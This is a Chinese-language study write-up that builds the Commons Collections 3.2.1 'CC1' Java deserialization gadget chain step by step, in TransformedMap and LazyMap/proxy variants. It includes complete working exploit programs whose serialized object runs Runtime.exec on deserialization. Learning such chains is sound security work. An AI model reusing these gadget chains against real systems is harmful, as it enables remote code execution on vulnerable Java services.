前置
先是要把前置弄好,用的是1.8.0_65java和commons-collections-3.2.1
选择openJDK下载替换源码以确保sun有源码可调式,相关有B站视频
应该创建一个Maven项目后照官网上的示例创建一个xml,接着重构项目完成下载,令我恼火的是我一开始没点mzven,于是自己加了些乱七八糟的东西完成Maven安装后我死活看不见下载commons-collections到外部库,于是手动下载了个jar导入
但是最好还是正常做:后来又创了个Maven,记得勾选maven,用
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>cc1</artifactId>
<version>1.0-SNAPSHOT</version>
<!-- 指定 JDK 版本为 1.8,避免编译警告 -->
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<!-- 核心依赖:commons-collections 3.2.1 -->
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
<scope>compile</scope>
</dependency>
</dependencies>
<!-- 配置阿里云镜像,解决插件下载慢/失败的问题 -->
<repositories>
<repository>
<id>aliyunmaven</id>
<url>https://maven.aliyun.com/repository/public</url>
</repository>
</repositories>
<pluginRepositories>
<pluginRepository>
<id>aliyunmaven</id>
<url>https://maven.aliyun.com/repository/public</url>
</pluginRepository>
</pluginRepositories>
</project>
下好构建好了(因为我插件总下不好,于是换了个镜像),这时自己运行就能自动导入各种包了
我直接在示例的main.java里写exp了
主要是transform
public Object transform(Object input);
最终的地方在InvokerTransformer
InvokerTransformer().transform()
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
可以看到这里简直是离谱,完美的反射,因此我们可以利用这个
Runtime r = Runtime.getRuntime();
// Class c =Runtime.class;
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
transform右键点击查找方法,并改成在整个 IDEA 打开的所有项目和库中查找,然后找,主要是找除自身调用自身之外的链子。

TransformedMap
在TransformedMap.java里面
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
and再往上找
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
再网上找
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
所以把需要的参数填里面即可
InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> Map = new HashMap<>();
TransformedMap.decorate(Map,null,InvokerTransformer);
Alt+Enter补全。即还是调用InvokerTransformer的transform
接着要想办法调checkSetValue

我们去看看AbstractInputCheckedMapDecorator.java
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}


我们来弄个数组吧,弄得时候会发现entry要Object,于是再改一下
// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
// Class c =Runtime.class;
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");
InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("k","v");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, InvokerTransformer);
for (Map.Entry<Object, Object> entry : transformedMap.entrySet()){
entry.setValue(r);
}
接着找setvalue,正好是在readObject里

AnnotationInvocationHandler,而且还正好在readObject。但要注意这不是公有的,所以要反射调用类,还要记得弄放行的accessible
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)
我们按照上面的格式传进去,注解(Annotation)用override
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlercons=c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlercons.setAccessible(true);
AnnotationInvocationHandlercons.newInstance(Override.class,transformedMap);
创建完实例后感觉很好了
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
// Class c =Runtime.class;
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");
InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("k","v");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, InvokerTransformer);
// for (Map.Entry<Object, Object> entry : transformedMap.entrySet()){
// entry.setValue(r);
// }
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlercons=c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlercons.setAccessible(true);
Object o=AnnotationInvocationHandlercons.newInstance(Override.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
但是setvalue这里是这样的,我们不能直接放参数
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
而且我们生成的r不能被序列化

可以看到没继承序列化接口,也可以看到我们直接用getRuntime就行
但是它的class是可以序列化的

但因为它也是不公有的所以还是反射
Class.getMethod(String methodName, Class<?>... parameterTypes)
Class c=Runtime.class;
Method getRuntime = c.getMethod("getRuntime", null);
// getRuntime.invoke(null,null);
Runtime r = (Runtime) getRuntime.invoke(null, null);
getRuntime静态方法属于类,不需要传入具体的对象实例,而且因为 getRuntime() 是无参方法,所以参数列表为空。等价写法:getRuntime.invoke(null, new Object[]{})
我们再反射调用它的exec方法,传入对象实例和参数
Method exec = c.getMethod("exec", String.class);
exec.invoke(r,"calc");
// runtime.exec("calc")
接着我们再用那个超像后门的InvokerTransformer,照着public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)和public Method getMethod(String name, Class<?>... parameterTypes)写参数,transform()那里是要传进去的东西。还有记得转类型。
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class.class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
然后如法炮制别的public Object invoke(Object obj, Object... args)
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}).transform(getRuntimeMethod);
Method exec = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"exec", new Class[]{String.class}}).transform(Runtime.class);
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{r,new Object[]{"calc.exe"}}).transform(exec);
即还是一样,只不过我们把正常的反射调用用我们发现的链子表达了出来
ps:Method.invoke(Object obj, Object... args) 的第二个参数是可变参数(本质是 Object[]),所以参数类型要写 Object[].class,不是 Object.class。
getMethod 是 Class 类的方法,getMethod 的第二个参数是 Class<?>...(可变参数,本质是数组),应该传 new Class[]{String.class}。invoke 的第二个参数是可变参数(Object []),即使只传一个值,也需要包装成数组(new Object[]{"calc.exe"}),而非直接传单个值。
或者是
// Method exec = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"exec", new Class[]{String.class}}).transform(Runtime.class);
// new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{r,new Object[]{"calc.exe"}}).transform(exec);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
即手动找 exec 方法 → 手动调用 invoke让 transform 自动找 + 自动调用。当调用 .transform(r) 时,它底层会自动执行
public Object transform(Object input) {
// 1. 拿到input对象的Class(此处input是r,即Runtime实例)
Class<?> cls = input.getClass();
// 2. 反射找到input对象的"exec"方法(参数类型String)
Method method = cls.getMethod("exec", new Class[]{String.class});
// 3. 调用该方法,传入参数"calc"
return method.invoke(input, new Object[]{"calc"});
}
无需接触 Method 对象,,把 “找方法 + 调方法” 封装在 transform 里
而这是transform的递归调用,于是我们可以直接用方法ChainedTransformer
Transformer[] trs=new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(trs);
chainedTransformer.transform(Runtime.class);
于是我们可以把Map<Object,Object> transformedMap = TransformedMap.*decorate*(map, null, InvokerTransformer);改成Map<Object,Object> transformedMap = TransformedMap.*decorate*(map, null, chainedTransformer);
而这里还是走不通的,因为memberType是null,还没走到setValue

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
它在查找一个成员方法,因此我们也应该提供一个有成员方法的Class,数组的key也要改成成员方法的名字

可以看到Target有成员方法value,但因为Class<?> memberType = memberTypes.get(name);只能检测到value而没有k(看上个调试图得知)(map.put("k","v");需要两个),因此memberType还是null
所以我们要把前者改成value:map.put("value","v");

可以看到不是null了。
于是我们接着走下去
memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)));之后是
value = this.parent.checkSetValue(value)再之后是

可以得知
// chainedTransformer.transform(Runtime.class);
// valueTransformer.transform(Runtime.class);
是一样的,我们只需要传进Runtime.class即可,但是看代码和debug知道现在参数是 AnnotationTypeMismatchExceptionProxy,所以我们要改一下
因此我们可以巧妙利用ConstantTransformer类,不管输入什么都返回一个值,即
Transformer[] trs=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
这时发现运行成功了!发现的人也太厉害了
最终:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
// Runtime.getRuntime().exec("calc");
// Runtime r = Runtime.getRuntime();
// Class c =Runtime.class;
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");
// InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
// Method exec = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"exec", new Class[]{String.class}}).transform(Runtime.class);
// new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{r,new Object[]{"calc.exe"}}).transform(exec);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
Transformer[] trs=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(trs);
// chainedTransformer.transform(Runtime.class);
// valueTransformer.transform(Runtime.class);
// Class c=Runtime.class;
// Method getRuntime = c.getMethod("getRuntime", null);
// getRuntime.invoke(null,null);
// Runtime r = (Runtime) getRuntime.invoke(null, null);
// Method exec = c.getMethod("exec", String.class);
// exec.invoke(r,"calc");
HashMap<Object, Object> map = new HashMap<>();
map.put("value","v");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
// for (Map.Entry<Object, Object> entry : transformedMap.entrySet()){
// entry.setValue(r);
// }
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlercons=c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlercons.setAccessible(true);
Object o=AnnotationInvocationHandlercons.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
当然也可以用LazyMap,但似乎用这个链更简单一些,后面是一样的
LazyMap
调cc1时知道除了TransformedMap还有LazyMap和DefaultedMap(找transform()的除自己调的方法)

当你从
LazyMap中获取一个不存在的 key 时,它不会返回null,而是自动调用预设的「工厂方法」生成一个对应的值,并把这个值存入 Map 中;
我们来看一下LazyMap里的get方法
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
因此我们只需要进入if然后把factory传成chainedTransformer即可,这要求我们要保证初始没有key,这才能调用transform
仍旧是转到AnnotationInvocationHandler
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
我们仍像上一个一样控制memberValues传入map
我们下一步是要找调用了get方法的地方

有很多地方我们不能控制,但这里可以
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
调动态代理的invoke只要修饰过就会自动调用,即Proxy(AnnotationInvocationHandler.xxxxxx)就可以
我们用AnnotationInvocationHandler.readObject里放代理,再因此调用get,于是我们就能调用
chainedTransformer的transform啦
回顾invoke我们发现要达到 memberValues.get我们不能调equals,也不能调有参方法(if说的),于是我们调动readObject无参方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
很巧正好就有哈(),memberValues.entrySet()。即我们第一个AnnotationInvocationHandler里的memberValues=Proxy,第二个AnnotationInvocationHandler里的memberValues=LazyMap,最后LAzyMap的get放chainedTransformer
可以看到
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
于是我们可以弄成
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
因为我们只要走到这里for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) 所以Object o=AnnotationInvocationHandlercons.newInstance(Override.class,lazyMap);这里的注解可以随便传
因为要生成动态代理,所以要改一下,改成
InvocationHandler h= (InvocationHandler) AnnotationInvocationHandlercons.newInstance(Override.class,lazyMap);
而
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)
所以
//Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
我们转成Map是因为我们要再次调用AnnotationInvocationHandlercons(最外层),而如下图,这个接受Map

接着我们像上一步一样就可
Object o = AnnotationInvocationHandlercons.newInstance(Override.class, mapProxy);
完成:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
// 按两次 Shift 打开“随处搜索”对话框并输入 `show whitespaces`,
// 然后按 Enter 键。现在,您可以在代码中看到空格字符。
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] trs=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(trs);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlercons=c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlercons.setAccessible(true);
InvocationHandler h= (InvocationHandler) AnnotationInvocationHandlercons.newInstance(Override.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = AnnotationInvocationHandlercons.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
动态代理继承Proxy,而这个是可以序列化的

在1.8.0_71里已经修复了,两条链用不了了,TransformedMap不行是因为把setvalue删了,这个是因为把AnnotationInvocationHandlercons,动态代理改了改